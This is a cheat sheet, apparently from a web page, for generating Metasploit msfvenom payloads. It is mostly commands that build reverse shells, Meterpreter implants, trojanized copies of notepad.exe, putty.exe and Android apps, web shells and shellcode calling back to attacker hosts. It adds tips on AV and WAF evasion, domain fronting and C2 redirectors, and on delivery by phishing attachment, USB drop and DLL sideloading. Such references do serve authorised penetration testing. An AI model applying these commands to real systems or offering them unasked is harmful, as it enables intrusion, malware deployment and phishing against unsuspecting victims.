_
Understanding Payload Types
MSFvenom produces two fundamental payload categories. Choosing correctly impacts detection, reliability, and network behavior.
Type Naming Pattern Size Behavior Best For Staged .../reverse_tcp (no _reverse prefix)Small Delivers a tiny stager; Metasploit uploads the full stage after initial connection Size-constrained exploits, buffer overflows, limited bandwidth Stageless ..._reverse_tcp (underscore prefix)Large Complete payload in one shot; no second-stage download Production ops, stable C2, evading network inspection
Key rule : Prefer stageless unless you have a specific reason (exploit size limits, known firewall constraints). Stageless eliminates the stager→stage roundtrip, reducing network artifacts and failure points.
_
Discovery & Reconnaissance Commands
Before generating any payload, enumerate what's available. Metasploit updates frequently — always check your local installation.
msfvenom -l payloads
msfvenom -l payloads | grep -i windows
msfvenom -l payloads | grep -i linux
msfvenom -l payloads | grep -i meterpreter
msfvenom -l payloads | grep -i reverse
msfvenom -l payloads | grep -i stageless
msfvenom -l encoders
msfvenom -l nops
msfvenom -l formats
msfvenom -l archs
msfvenom -l encrypt
msfvenom -l platforms
msfvenom -p windows/x64/meterpreter_reverse_https --list-options
msfvenom -p linux/x64/meterpreter_reverse_tcp --list-options
msfvenom -l payloads | grep "cmd/windows"
msfvenom -l payloads | grep "cmd/unix"
Show all 23 lines
Tip : --list-options reveals hidden configurable variables (exit functions, retry counters, custom headers for HTTP/S) that dramatically improve reliability.
_
Payload Naming Quick Reference
MSFvenom payload names follow a predictable structure. Understanding it helps you guess valid payloads before listing them.
<platform > /<arch > /<payload > /<transport >
Component Examples platformwindows, linux, osx, android, java, php, python, cmdarchx86, x64, aarch64, armle, mipsbe, mipslepayloadmeterpreter, shell, meterpreter_reversetransporttcp, http, https, tcp_dns, tcp_rc4
Naming Gotchas :
▹ Staged: meterpreter/reverse_tcp — note the slash between payload and transport
▹ Stageless: meterpreter_reverse_tcp — note the underscore replacing the slash
▹ reverse = callback to attacker; bind = listener opens on target
:: Reverse TCP (Staged & Stageless)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x86_staged.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x64_staged.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x64_stageless.exe
msfvenom -p windows/x86/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x86_stageless.exe
Show all 21 lines
:: Reverse HTTP/HTTPS (C2-Friendly, Firewall Evasive)
msfvenom -p windows/meterpreter/reverse_http \
LHOST=cdn.example.com LPORT=8080 \
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
-f exe -o rev_http.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=cdn.example.com LPORT=8443 \
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
-f exe -o rev_https.exe
Show all 11 lines
Handler note for HTTPS : Set HandlerSSLCert /path/to/cert.pem and StagerVerifySSLCert false (or provide the CA cert for true verification).
:: Named Pipe & Domain Fronting Transports
msfvenom -p windows/x64/meterpreter/reverse_named_pipe \
PipeName=meterpreter LHOST=10.10.10.10 \
-f exe -o rev_pipe.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=443 \
LURI=/api/v3/update \
HttpUserAgent="Mozilla/5.0" \
-f exe -o rev_https_uri.exe
Show all 11 lines
:: PowerShell-Based Delivery
msfvenom -p cmd/windows/reverse_powershell \
LHOST=10.10.10.10 LPORT=4444 \
-f ps1 -o rev.ps1
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f psh -o rev_met.ps1
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f psh-reflection -o rev_ref.ps1
Show all 14 lines
:: Office Document & HTA Vectors
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f vba -o macro.vba
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f hta-psh -o drop.hta
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f vbs -o rev.vbs
Show all 14 lines
:: DLL Outputs (for Sideloading / Hijacking)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f dll -o payload_x86.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f dll -o payload_x64.dll
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f dll -o plugin.dll
Show all 14 lines
:: Bind Shells (Target Opens Listening Port)
msfvenom -p windows/x64/meterpreter/bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f exe -o bind_x64.exe
msfvenom -p windows/x64/meterpreter/bind_hidden_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f exe -o bind_hidden.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f exe-service -o rev_svc.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f msi -o rev.msi
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f msi-nouac -o rev_nouac.msi
Show all 14 lines
:: Reverse TCP (Staged & Stageless)
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x86_staged.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x64_staged.elf
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x64_stageless.elf
msfvenom -p linux/x64/meterpreter_reverse_http \
LHOST=10.10.10.10 LPORT=8080 \
-f elf -o lin_http.elf
msfvenom -p linux/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f elf -o lin_https.elf
Show all 24 lines
:: Lightweight Shell Payloads (Non-Meterpreter)
When size matters or Meterpreter isn't needed:
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_x64.elf
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_x86.elf
msfvenom -p linux/x86/shell/find_tag \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_find.elf
Show all 14 lines
:: Bind Shells
msfvenom -p linux/x64/meterpreter/bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f elf -o bind_x64.elf
msfvenom -p linux/x64/shell_bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f elf -o bind_shell_x64.elf
:: ARM & MIPS (Embedded/IoT)
msfvenom -p linux/armle/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_arm.elf
msfvenom -p linux/mipsbe/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_mips.elf
msfvenom -p linux/mipsle/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_mipsle.elf
Show all 14 lines
msfvenom -p osx/x64/shell/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f macho -o macos_shell.macho
msfvenom -p osx/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f macho -o macos_met_tcp.macho
msfvenom -p osx/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f macho -o macos_met_https.macho
msfvenom -p osx/x64/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o macos_sc.bin
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o macos.py
Show all 24 lines
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f apk -o dropper.apk
msfvenom -x legitimate_app.apk -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-o trojaned_app.apk
msfvenom -p android/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f apk -o and_https.apk
msfvenom -p android/meterpreter/reverse_http \
LHOST=10.10.10.10 LPORT=8080 \
-f apk -o and_http.apk
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f apk -o hidden.apk \
AndroidHideAppIcon=true
Show all 25 lines
Embedding tip : The -x template method requires the original APK to not have strong integrity checks. Some modern apps will crash if tampered with. Test thoroughly.
_
Web Application Payloads
:: PHP
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o shell.php
msfvenom -p php/reverse_php \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o tiny.php
msfvenom -p php/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o shell_https.php
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o payload.php
Show all 19 lines
WAF evasion : Many WAFs flag Meterpreter magic bytes. Prepend benign PHP code: echo '<?php // Copyright 2026' > shell.php && cat payload.php >> shell.php
:: Java (JSP / WAR)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f war -o app.war
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f jar -o met.jar
msfvenom -p java/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f jar -o met_https.jar
Show all 19 lines
WAR deployment : Upload via /manager/html on Tomcat, then access /app/ (WAR name becomes the path).
:: ASP / ASPX
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f aspx -o shell.aspx
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f aspx -o shell_https.aspx
Show all 14 lines
:: ColdFusion
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f cfm -o shell.cfm
_
Scripting & Interpreter Payloads
These generate code for interpreted languages — useful when you have code execution but can't drop binaries.
msfvenom -p cmd/unix/reverse_bash \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.sh
msfvenom -p cmd/unix/reverse_netcat \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev_nc.sh
msfvenom -p cmd/unix/reverse_python \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.py
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o met.py
msfvenom -p python/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o met_https.py
msfvenom -p cmd/unix/reverse_perl \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.pl
msfvenom -p cmd/unix/reverse_ruby \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.rb
msfvenom -p nodejs/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.js
msfvenom -p cmd/unix/reverse_lua \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.lua
Show all 45 lines
Execution oneliners :
▹ Python: python3 -c "$(cat rev.py)" or python3 rev.py
▹ Ruby: ruby rev.rb
▹ Node: node rev.js
▹ Perl: perl rev.pl
▹ Lua: lua rev.lua
_
Encoders, Evasion & Anti-Virus
:: Important Reality Check
Encoding helps with bad-character avoidance and minor signature obfuscation , but it is not a reliable AV/EDR evasion technique on modern endpoints. Combine encoding with other techniques for real operations.
:: Listing & Selecting Encoders
msfvenom -l encoders
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-e x64/xor_dynamic -i 3 \
-f exe -o encoded.exe
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o heavily_encoded.exe
Show all 20 lines
:: Encoder Selection by Goal
Goal Encoder Notes Polymorphism (signature evasion) x86/shikata_ga_naiChanges every generation; effective against static signatures Bad char: null bytes x86/xor_dynamicProduces null-free output CMD/batch delivery cmd/powershell_base64Base64 wraps for PowerShell cradles Size constraint x86/countdownVery small decoder stub Modern x64 binary x64/xor_dynamicGood balance of size and effectiveness
MSFvenom supports encrypting the payload body. The handler decrypts automatically. Useful when your dropper/loader expects encrypted input.
msfvenom --list encrypt
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt aes256 --encrypt-key MySecretPass123 \
-f exe -o aes_encrypted.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt rc4 --encrypt-key MyKey \
-f exe -o rc4_encrypted.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt xor --encrypt-key secret \
-f exe -o xor_encrypted.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt base64 \
-f exe -o b64_encoded.exe
Show all 26 lines
Warning : Encryption may behave differently with staged payloads. Always test the specific payload + format + handler combination before operational use.
_
Bad Characters & Restrictions
Bad characters are bytes that break your delivery vector (null terminators in string functions, newline in HTTP headers, etc.).
:: Specifying Bad Characters
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00' \
-f raw -o nullfree.bin
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00\x0a\x0d\x20' \
-f raw -o restricted.bin
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00\x01\x02\x03\x04\x05...\xff' \
-f raw -o printable.bin
Show all 17 lines
:: Common Bad Character Sets
Scenario Bad Characters Why String buffer overflow \x00Null terminator ends string copy HTTP header injection \x00\x0a\x0dNull, newline, carriage return break HTTP Unicode buffer \x00-\x2fMany non-printable break wide-char functions URL parameter \x00\x20\x26\x3dNull, space, &, = break URL parsing
:: NOP Sleds (Buffer Overflows)
msfvenom -p x86/nop -n 100 -f raw > nopsled.bin
cat payload.bin nopsled.bin > exploit.bin
_
Template Injection & Trojanization
Inject payload into a legitimate executable. The original program still runs (if -k is used), reducing suspicion.
:: Basic Template Injection
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-x notepad.exe -k \
-f exe -o trojan_notepad.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-a x64 --platform windows \
-x putty.exe -k \
-f exe -o trojan_putty.exe
Show all 12 lines
:: How Template Injection Works
Flag Behavior -x <file>Use <file> as the executable template -kKeep template functionality — payload runs in a new thread; original exe executes normally(no -k) Payload replaces the entry point; original program does not run
Operational note : Signed binaries lose their signature after template injection. The file will show as unsigned, which can trigger SmartScreen/AppLocker.
_
Shellcode Generation & Injection
Generate raw shellcode for custom loaders, process injection, or exploit development.
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o sc.bin
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f c -o sc.c
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f python -o sc.py
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f csharp -o sc.cs
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f ps1 -o sc.ps1
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f js_be -o sc.js
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f hex -o sc.hex
Show all 34 lines
:: Advanced Shellcode Options
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
PrependMigrate=true PrependMigrateProc=explorer.exe \
-f raw -o sc_migrate.bin
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=thread \
-f raw -o sc_thread.bin
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=process \
-f raw -o sc_process.bin
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=seh \
-f raw -o sc_seh.bin
Show all 23 lines
:: EXITFUNC Reference
Value Behavior Use Case processTerminate the entire process when payload exits Standalone executables threadTerminate only the payload thread; host process continues DLL injection, thread-based injection sehUses Structured Exception Handler to return Exploit development (stack/heap overflows) noneNo explicit cleanup Specialized injection scenarios
_
Advanced Handler Configuration
The handler (exploit/multi/handler) must match your payload settings exactly.
:: Basic Handler Setup
msfconsole -x "
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 10.10.10.10
set LPORT 8443
set HandlerSSLCert /path/to/unified.pem
set ExitOnSession false
exploit -j
"
:: Critical Handler Options
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_https
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(multi/handler) > set ReverseListenerBindPort 8443
msf6 exploit(multi/handler) > set HandlerSSLCert /path/to/cert+key.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
msf6 exploit(multi/handler) > set StagerVerifySSLCert false
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > set EXITFUNC thread
msf6 exploit(multi/handler) > exploit -j
msf6 exploit(multi/handler) > sessions -l
msf6 exploit(multi/handler) > sessions -i 1
Show all 38 lines
:: HTTP-Specific Handler Options
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_https
msf6 exploit(multi/handler) > set LURI /api/v3/update
msf6 exploit(multi/handler) > set HttpUnknownRequestResponse <html><body>404</body></html>
msf6 exploit(multi/handler) > set HttpServerName nginx
msf6 exploit(multi/handler) > set HttpCookie APISESSION
Show all 14 lines
Route callbacks through redirectors to protect your team server IP.
:: DNS Redirector
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=redirector.example.com LPORT=443 \
-f exe -o rev_redirect.exe
socat TCP4-LISTEN:443,fork TCP4:teamserver.example.com:8443
:: CDN / Domain Fronting
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=cdnfront.azureedge.net LPORT=443 \
HttpHostHeader=yourbackend.azurewebsites.net \
-f exe -o rev_front.exe
msf6 exploit(multi/handler) > set HttpHostHeader yourbackend.azurewebsites.net
:: SSH Tunnel Handler
ssh -R 8443:localhost:8443 user@vps.example.com
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=vps.example.com LPORT=8443 \
-f exe -o rev_tunnel.exe
_
Staged vs Stageless — When to Use Which
Factor Staged Stageless Binary size Smaller (1-5 KB typical) Larger (100-300 KB typical) Network reliability Requires 2 connections; fragile on unstable networks Single connection; more resilient Firewall/Proxy Needs direct socket; may fail through strict HTTP-only proxies HTTP/S variants traverse most corporate proxies Detection Stager signature in memory; 2-stage artifact Full payload in initial binary; single artifact Meterpreter features Full feature set (loaded on stage) Full feature set (embedded) Use case Exploits with size limits (BOF, constrained RCE) Phishing, USB drops, scheduled tasks, services Naming meterpreter/reverse_tcpmeterpreter_reverse_tcp
Decision flow : If you have a buffer overflow with 100 bytes of space → staged.
If you're sending a phishing email attachment → stageless.
If you're unsure → stageless .
_
Real-World Delivery Techniques
:: Email Phishing Attachments
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f vba -o macro.txt
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f hta-psh -o invoice.hta
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f exe -o updatefdp.exe
Show all 14 lines
:: Web Delivery (No File Drop)
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(web_delivery) > set PAYLOAD python/meterpreter/reverse_https
msf6 exploit(web_delivery) > set LHOST 10.10.10.10
msf6 exploit(web_delivery) > set LPORT 8443
msf6 exploit(web_delivery) > set TARGET 2
msf6 exploit(web_delivery) > exploit
:: USB / Physical Drop
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=c2.example.com LPORT=443 \
-f exe -o autorun.exe
:: LOLBAS / Living Off The Land
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=c2.example.com LPORT=443 \
-f dll -o propsys.dll
_
Troubleshooting & Common Errors
:: Error: Payload generation failed / Invalid payload name
msfvenom -l payloads | grep -i "your_payload_name"
msfvenom -p windows/x64/meterpreter_reverse_https --list-options | grep ARCH
:: Error: Handler receives no callback
Check Action LHOST reachable? nc -zv <LHOST> <LPORT> from target networkFirewall on target? netsh advfirewall firewall or iptables -LHandler running? msf6 > jobs — handler should show as activePayload matches handler? Check PAYLOAD name character-for-character Staged vs Stageless mismatch? Staged payload needs staged handler; stageless needs stageless handler HTTPS cert issues? Try with StagerVerifySSLCert false first
▹ Don't rely on msfvenom encoding alone for AV evasion
▹ Use custom loaders with process injection (VirtualAlloc → WriteProcessMemory → CreateRemoteThread)
▹ Consider in-memory execution (PowerShell reflection, .NET assembly loading)
▹ Sleep/obfuscation techniques before payload execution
▹ Sign your binary with a valid code signing cert where possible
:: Checking Generated Payload Details
file payload.exe
ls -la payload.exe
strings payload.exe | grep -i "10.10.10"
xxd payload.exe | head -20
Show all 11 lines
Format Platform Use Case exeWindows Standard Windows executable exe-serviceWindows Windows service executable exe-smallWindows Smaller executable (limited features) dllWindows Dynamic link library for sideloading msiWindows Windows installer package msi-nouacWindows MSI that bypasses UAC prompt elfLinux Standard Linux executable machomacOS Standard macOS executable apkAndroid Android application package jarJava Java archive (cross-platform) warJava web Web application archive (Tomcat/JBoss) jspJava web JavaServer Pages aspWindows web Classic ASP aspxWindows web ASP.NET web form phpPHP web PHP script vbaWindows Visual Basic for Applications macro vbsWindows VBScript hta-pshWindows HTML Application with PowerShell ps1Windows PowerShell script rawAny Raw shellcode bytes cAny C byte array csharpAny C# byte array pythonAny Python byte array js_beAny JavaScript byte array hexAny Hexadecimal string
:: Architecture Flags
Architecture Platforms Notes x86Windows, Linux 32-bit Intel/AMD; widely compatible x64Windows, Linux, macOS 64-bit; preferred for modern systems aarch64Linux, macOS ARM 64-bit (Apple Silicon, ARM servers) armleLinux, Android ARM 32-bit little-endian (Raspberry Pi, mobile) mipsbeLinux MIPS big-endian (routers, embedded) mipsleLinux MIPS little-endian (some embedded)
:: Common LHOST/LPORT Scenarios
Scenario LHOST Value LPORT Value Notes Direct LAN Your LAN IP (e.g., 192.168.1.10) Any free port Simplest; works on same network Public VPS Public VPS IP/domain 443 or 8443 Register a domain for legitimacy CDN Front CDN domain (e.g., abc.cloudfront.net) 443 Use HttpHostHeader for backend SSH tunnel localhost or tunneled portTunnel local port Forward via ssh -R DNS redirect Redirector domain 443 Socat/nginx on redirector forwards to TS
_
Sources & Further Reading